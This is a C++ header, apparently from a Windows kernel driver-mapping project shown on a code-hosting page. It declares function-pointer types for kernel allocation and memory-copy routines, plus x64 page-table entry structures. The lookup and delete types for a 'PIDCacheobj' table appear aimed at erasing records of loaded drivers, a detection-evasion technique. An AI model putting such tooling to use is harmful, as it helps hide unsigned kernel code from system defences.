|
||||||
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T);
|
|
||||||
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
|
|
||||||
using MmCopyMemory = NTSTATUS(__stdcall*)(PVOID, MM_COPY_ADDRESS, SIZE_T, ULONG, PSIZE_T);
|
|
||||||
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(uintptr_t, size_t);
|
|
||||||
using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*, bool);
|
|
||||||
using RtlLookupElementGenericTableAvl = PIDCacheobj * (__stdcall*) (void*, void*);
|
|
||||||
using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*, void*);
|
|
||||||
using ExReleaseResourceLite = bool(__stdcall*)(void*);
|
|
||||||
|
|
||||||
typedef union _virt_addr_t
|
|
||||||
{
|
|
||||||
PVOID value;
|
|
||||||
struct
|
|
||||||
{
|
|
||||||
ULONG64 offset : 12;
|
|
||||||
ULONG64 pt_index : 9;
|
|
||||||
ULONG64 pd_index : 9;
|
|
||||||
ULONG64 pdpt_index : 9;
|
|
||||||
ULONG64 pml4_index : 9;
|
|
||||||
ULONG64 reserved : 16;
|
|
||||||
};
|
|
||||||
} virt_addr_t, *pvirt_addr_t;
|
|
||||||
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
|
||||||
|
|
||||||
typedef union _pml4e
|
|
||||||
{
|
|
||||||
ULONG64 value;
|
|
||||||
struct
|
|
||||||
{
|
|
||||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
|
||||||
ULONG64 ReadWrite : 1; // If 0, writes not allowed.
|
|
||||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
|
||||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PDPT.
|
|
||||||
ULONG64 page_cache : 1; // Determines the memory type used to access PDPT.
|
|
||||||
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
|
|
||||||
ULONG64 Ignored1 : 1;
|
|
||||||
ULONG64 page_size : 1; // Must be 0 for PML4E.
|
|
||||||
ULONG64 Ignored2 : 4;
|
|
||||||
ULONG64 pfn : 36; // The page frame number of the PDPT of this PML4E.
|
|
||||||
ULONG64 Reserved : 4;
|
|
||||||
ULONG64 Ignored3 : 11;
|
|
||||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
|
||||||
};
|
|
||||||
} pml4e, * ppml4e;
|
|
||||||
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
|
||||||
|
|
||||||
typedef union _pdpte
|
|
||||||
{
|
|
||||||
ULONG64 value;
|
|
||||||
struct
|
|
||||||
{
|
|
||||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
|
||||||
ULONG64 rw : 1; // If 0, writes not allowed.
|
|
||||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
|
||||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PD.
|
|
||||||
ULONG64 page_cache : 1; // Determines the memory type used to access PD.
|
|
||||||
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
|
|
||||||
ULONG64 Ignored1 : 1;
|
|
||||||
ULONG64 page_size : 1; // If 1, this entry maps a 1GB page.
|
|
||||||
ULONG64 Ignored2 : 4;
|
|
||||||
ULONG64 pfn : 36; // The page frame number of the PD of this PDPTE.
|
|
||||||
ULONG64 Reserved : 4;
|
|
||||||
ULONG64 Ignored3 : 11;
|
|
||||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
|
||||||
};
|
|
||||||
} pdpte, * ppdpte;
|
|
||||||
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
|
||||||
|
|
||||||
typedef union _pde
|
|
||||||
{
|
|
||||||
ULONG64 value;
|
|
||||||
struct
|
|
||||||
{
|
|
||||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
|
||||||
ULONG64 ReadWrite : 1; // If 0, writes not allowed.
|
|
||||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
|
||||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access PT.
|
|
||||||
ULONG64 page_cache : 1; // Determines the memory type used to access PT.
|
|
||||||
ULONG64 Accessed : 1; // If 0, this entry has not been used for translation.
|
|
||||||
ULONG64 Ignored1 : 1;
|
|
||||||
ULONG64 page_size : 1; // If 1, this entry maps a 2MB page.
|
|
||||||
ULONG64 Ignored2 : 4;
|
|
||||||
ULONG64 pfn : 36; // The page frame number of the PT of this PDE.
|
|
||||||
ULONG64 Reserved : 4;
|
|
||||||
ULONG64 Ignored3 : 11;
|
|
||||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
|
||||||
};
|
|
||||||
} pde, * ppde;
|
|
||||||
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
|
||||||
|
|
||||||
typedef union _pte
|
|
||||||
{
|
|
||||||
ULONG64 value;
|
|
||||||
struct
|
|
||||||
{
|
|
||||||
ULONG64 present : 1; // Must be 1, region invalid if 0.
|
|
||||||
ULONG64 ReadWrite : 1; // If 0, writes not allowed.
|
|
||||||
ULONG64 user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
|
||||||
ULONG64 PageWriteThrough : 1; // Determines the memory type used to access the memory.
|
|
||||||
ULONG64 page_cache : 1; // Determines the memory type used to access the memory.
|
|
||||||
ULONG64 accessed : 1; // If 0, this entry has not been used for translation.
|
|
||||||
ULONG64 Dirty : 1; // If 0, the memory backing this page has not been written to.
|
|
||||||
ULONG64 PageAccessType : 1; // Determines the memory type used to access the memory.
|
|
||||||
ULONG64 Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
|
|
||||||
ULONG64 Ignored2 : 3;
|
|
||||||
ULONG64 pfn : 36; // The page frame number of the backing physical page.
|
|
||||||
ULONG64 Reserved : 4;
|
|
||||||
ULONG64 Ignored3 : 7;
|
|
||||||
ULONG64 ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
|
|
||||||
ULONG64 nx : 1; // If 1, instruction fetches not allowed.
|
|
||||||
};
|
|
||||||
} pte, * ppte;
|
|
||||||
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
|
Loading…
Reference in new issue